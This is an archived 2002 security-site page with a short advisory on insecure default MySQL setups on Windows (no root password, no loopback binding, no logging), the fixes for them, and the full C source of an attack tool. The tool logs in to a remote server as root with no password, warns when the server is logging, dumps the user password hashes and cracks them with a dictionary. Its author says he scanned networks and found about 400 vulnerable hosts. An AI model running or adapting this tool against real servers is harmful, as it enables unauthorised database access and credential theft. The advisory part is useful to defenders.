exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mysqlfuck.c

mysqlfuck.c
Posted Aug 18, 2002
Authored by g0thm0g

MySQL is an open-source database produced by MySQL AB. MySQL AB provides binaries for the Windows platform which run out-of-the-box. However, the default configuration for these binaries leave MySQL wide open to attack in a number of ways: A null root password, a non-loopback-bound server, and no logging. Included in this advisory is source to demonstrate an attack using this information.

tags | tool, root
systems | windows, unix
SHA-256 | fe702c187a158be2974aa60ea624583d2e8944d1724d9566be580a09e054e03c

mysqlfuck.c

Change Mirror Download
    MySQL is an open-source database database produced by MySQL AB 
(www.mysql.org).
MySQL AB provides binaries for the Windows platform which run
"out-of-the-box. However,
the default configuration for these binaries leave MySQL wide open to
attack in a number
of ways:

1) NULL root Password:

MySQL allows user management via an in-database system table called
'mysql.user'. This
table includes fields on the users' username, password, and host.
However, MySQL by default
allows root login, from localhost and any host, without password. Some
users are unaware of
this. The problem is exascerbated by the fact that a large portion of
MySQL users learn
MySQL through the PHP examples on www.php.net which show the user and
password argument of
mysql_connect as optional. Also, the MySQL manual
page (http://www.mysql.com/doc/en/Adding_users.html) on adding users
never mentions removing
the default root/NULL users, even though it shows starting the client
with user root and no
password. A quick method of rectifying this is:
DELETE FROM mysql.user;
GRANT ALL PRIVILEGES ON *.* TO user@localhost
IDENTIFIED BY 'password' WITH GRANT OPTION;


2) Non-loopback-bound server:

The majority of MySQL's users run their database server on the same
host as their
web server. However, in MySQL's configuration file, the line
'bind-address=127.0.0.1' is
commented out. A server bound to the loopback interface would only be
accessible on that
host, removing the possibility of remote logins, which most users do not
need. However,
because this line is commented out, MySQL will be accessible to any
remote host. Combined
with the default root/NULL login, this means that anyone can remotely
login as root, without
a password, and have full rights to any database. To enable binding to
the loopback adapter,
uncomment the bind-address line in your my.ini.


3) No logging:
Logging is a necessary part of any secure server software. However,
MySQL does not
log at all on Windows by default. This means that a MySQL administrator
would not be able
to determine if his database had been comprimised, or if an individual
was attempting to
brute force a user/password account. Logging can be enabled by adding
these lines to your
my.ini:
log-long-format
log=/path/to/somewhere/log.txt


In order to demonstrate the simplicity of such an attack, I've
included a program
to connect to a host, login as root/NULL, steal the hashes, and display
them. The
program takes about 5 seconds to execute, and if the host is vulnerable,
will show the
hashes. If you have have a dictionary word list, put it in the same
directory as
dictionary.txt and it'll try and find a match to one of the words.

Thanks to:
-tiefer, for all the help on the research.

Cheers:
-g0thm0g (g0thm0g at attbi dot com)

//mysqlfuck.c
/*--||MySQLfuck||--*/
/*Written by g0thm0g*/
/*-----------------*/
/*Earlier this summer (at least where I live), I had a conversation with
a friend.
It was one of those afternoons where you get an idea, and it kinda
sticks with you.
Anyway, our conversation involved a couple questions about INSERT's into
a MySQL
database. Eventually, I told him that I would do it for him. I came
over, sat down
on his computer, and accidentally typed his full IP address in. TO my
surprise, the
host still connected. Even worse, root login wasn't passworded. I
figured that he
had mysql bound to 127.0.0.1, and that no real remote host could
connect. However,
later that night after I had gone home, I got a phone call from the
friend asking me
to do it again. Already on the computer (go figure d:), I pulled up
bash and
typed in his IP. Right as I was about to ask him what his password was,
I noticed
that MySQL hadn't even bothered to authenticate me. I "used mysql" and
then SELECT'ed
user,password,host FROM user. To my horror, I recieved:
+------+----------+-----------+
| user | password | host |
+------+----------+-----------+
| root | | localhost |
| root | | % |
| | | localhost |
| | | % |
+------+----------+-----------+
Not only was name-less login allowed, but root was without password
on localhost
and remote. Anyway, to make a long story short, I did some research,
and found that
default Windows MySQL configuration lacks logging or authentication. I
did some
network scanning, and I think I have around 400 hosts with no root
password. Anyway,
to automate checking this, I wrote this program up. It tries to login
as root/NULL,
then takes the values of the user password hashes and tries to find a
match to a
dictionary file called dictionary.txt.

I wrote up an advisory, which you'll probably see on SecFoc soon.

If I had some cookies, I'd give them to:
-Tiefer and his relentless questioning and jokes about my sister
-Club 21, especially for Hard Attack
-DJ Doboy, can't forget trancequility volume 19

(INSERT STANDARD "NOT-TO-BE-USED-FOR-ILLEGAL-USE" CLAUSE HERE)
(INSERT STANDARD "I-HOLD-NO-LIABILITY" CLAUSE HERE)

Compile:
-MSVC= cl mysqlfuck.c libmySQL.lib /DWIN32 -O2
-GCC= gcc -omysqlfuck mysqlfuck.c -lmySQL -O2

-Cheers
g0th
*/


#include <stdio.h>
#ifdef WIN32
#include <windows.h>
#endif
#include <mysql.h>

/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*Crazy MySQL programmers and their short typedefs*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/

#ifndef ulong
#define ulong unsigned long
#endif

#ifndef uint
#define uint unsigned int
#endif

#ifndef uchar
#define uchar unsigned char
#endif

/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*##--####--####--####--####--####--####--####--##*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/

/*--------------------------------------------------------------*/
/*<<<<This section is ripped straight from the MySQL source.>>>>*/
/*I have this all nice and optimized in assembly on my end, but*/
/*writing cross-compiler inline is not too fun, and requring an*/
/*assembler is kinda frustrating.*/
/*--------------------------------------------------------------*/
void hash_password(ulong *result, const char *password)
{
register ulong nr=1345345333L, add=7, nr2=0x12345671L;
ulong tmp;
for (; *password ; password++)
{
if (*password == ' ' || *password == '\t')
continue; /* skipp space in password */

tmp= (ulong) (uchar) *password;
nr^= (((nr & 63)+add)*tmp)+ (nr << 8);
nr2+=(nr2 << 8) ^ nr;
add+=tmp;
}

result[0]=nr & 2147483647; /* Don't use sign bit (str2int) */;
result[1]=nr2 & 2147483647;
return;
}

void make_scrambled_password(char *to,const char *password)
{
ulong hash_res[2];
hash_password(hash_res,password);
sprintf(to,"%08lx%08lx",hash_res[0],hash_res[1]);
}
/*--------------------------------------------------------------*/
/*<<<<######################################################>>>>*/
/*--------------------------------------------------------------*/


/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/


/*--------------------------------*/
/*<<<user struct to store data>>>>*/
/*--------------------------------*/
typedef struct
{
char *user;
char *password;
} user;

#define MAX_USERS 16
/*--------------------------------*/
/*<<<<########################>>>>*/
/*--------------------------------*/



//main - for "coherency's" (yes, i mean laziness) sake, i've kept this a
single function
int
main
(
int argc,
char** argv
)
{

MYSQL * mysqlData; //--|-
MYSQL_RES * mysqlResult; //--|-MySQL Datatypes
MYSQL_ROW mysqlRow; //--|-

char *spHost; //--|
char *spUser="root"; //--|
char *spPassword=NULL; //--|-Our connection data
int spPort=3306; //--|
char *spServerVersion; //--|

int usernum=0; //--|
user *users[MAX_USERS]; //--|-User name/hash storage data

FILE *fin, *fout; //--|
char *file_name; //--|-File I/O data

char *line=(char *)malloc(64); //--|
char *buff=(char *)malloc(64); //--|-Miscellaneous buffers

int i=0; //--|Counter


//Warn about not meeting minimal arguments
if (2>argc)
{
fprintf (stderr, "usage: mysqlfuck host [-p<port>]");
return -1;
}

//Copy the first argument into the host buffer
spHost=(char *)malloc(sizeof(argv[1]));
strcpy (spHost, argv[1]);

//Copy port if the user specified
if (argv[2])
{
if (argv[2][1]=='p')
{
++argv[2];
++argv[2];
spPort=atoi(argv[2]);
printf ("port: %i\n", spPort);
}
}

//Initialize MySQL data and connect with root/NULL

mysqlData = (MYSQL *)malloc(sizeof(MYSQL));

mysql_init (mysqlData);

if (! mysql_real_connect (mysqlData, spHost, spUser, spPassword,
"mysql", spPort, NULL, 0) )
{
fprintf (stderr, "mysql_real_connect: %s\n", mysql_error
(mysqlData));
return -1;
}

//If the server logs, inform the user!

printf ("server version: %s\n", mysql_get_server_info(mysqlData));

if (strstr (mysql_get_server_info (mysqlData), "log"))
{
printf ("Warning! Server is logging - Continue(*/n)?");
if (getchar()=='n')
{
mysql_close (mysqlData);
return -1;
}
}

//"Obtain" the hashes (notice i didn't use the word steal)

if ( mysql_query (mysqlData, "SELECT user,password FROM user") )
{
fprintf (stderr, "mysql_query: %s\n", mysql_error (mysqlData));
return -1;
}

//Store the result and process it

mysqlResult=mysql_store_result(mysqlData);
while (mysqlRow=mysql_fetch_row(mysqlResult))
{
if (strlen(mysqlRow[0])==0)
{
mysqlRow[0]="(NULL)";
}

if (strlen(mysqlRow[1])==0)
{
mysqlRow[1]="(NULL)";
}


users[usernum]=(user *)malloc(sizeof(user));
users[usernum]->user=(char *)malloc(strlen(mysqlRow[0])+1);
strcpy (users[usernum]->user, mysqlRow[0]);
users[usernum]->password=(char *)malloc(strlen(mysqlRow[1])+1);
strcpy (users[usernum]->password, mysqlRow[1]);
usernum++;
}

mysql_close (mysqlData);

//Setup putput file name string

file_name=(char *)malloc (sizeof(spHost)+4);
strcpy (file_name, spHost);
strcat (file_name, ".txt\0\0");
printf ("\n+----------------------------+\n");
printf ("<decrypting and dumping to %s>\n", file_name);
printf ("+----------------------------+\n");


fout=fopen (spHost, "w");

if (!fout)
{
fprintf (stderr, "Unable to open %s for password dumping\n",
spHost);
return -1;
}


//Use a database to crack the hashes (optional)
fin=fopen ("dictionary.txt", "r");
if (!fin)
{
fprintf (stderr, "error opening dictionary.txt - no
decryption will take place\n");

for (i=0;i<usernum;i++)
{
printf ("%s::%s\n", users[i]->user, users[i]->password);
}

return -1;
}

//Loop through the user array and crack/output hashes
for (i=0;i<usernum;i++)
{
if (users[i]->user)
{
if (users[i]->password)
{

while ( (fgets (line, 63, fin)))
{
line[strlen(line)-1]='\0';
make_scrambled_password (buff, line);
if (strcmp (buff, users[i]->password)==0)
{
users[i]->password=line;
break;
}
}

fclose (fin);

fprintf (fout, "%s::%s\n", users[i]->user,
users[i]->password);
printf ("%s::%s\n", users[i]->user, users[i]->password);
fflush (fout);
}
}
}

//Always clean up after yourself!

fclose (fout);

if (buff)
free (buff);

if (line)
free (line);

if (spHost)
free (spHost);

if (users)
free (users);

if (file_name)
free (file_name);

if (mysqlData)
free (mysqlData);

}



Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close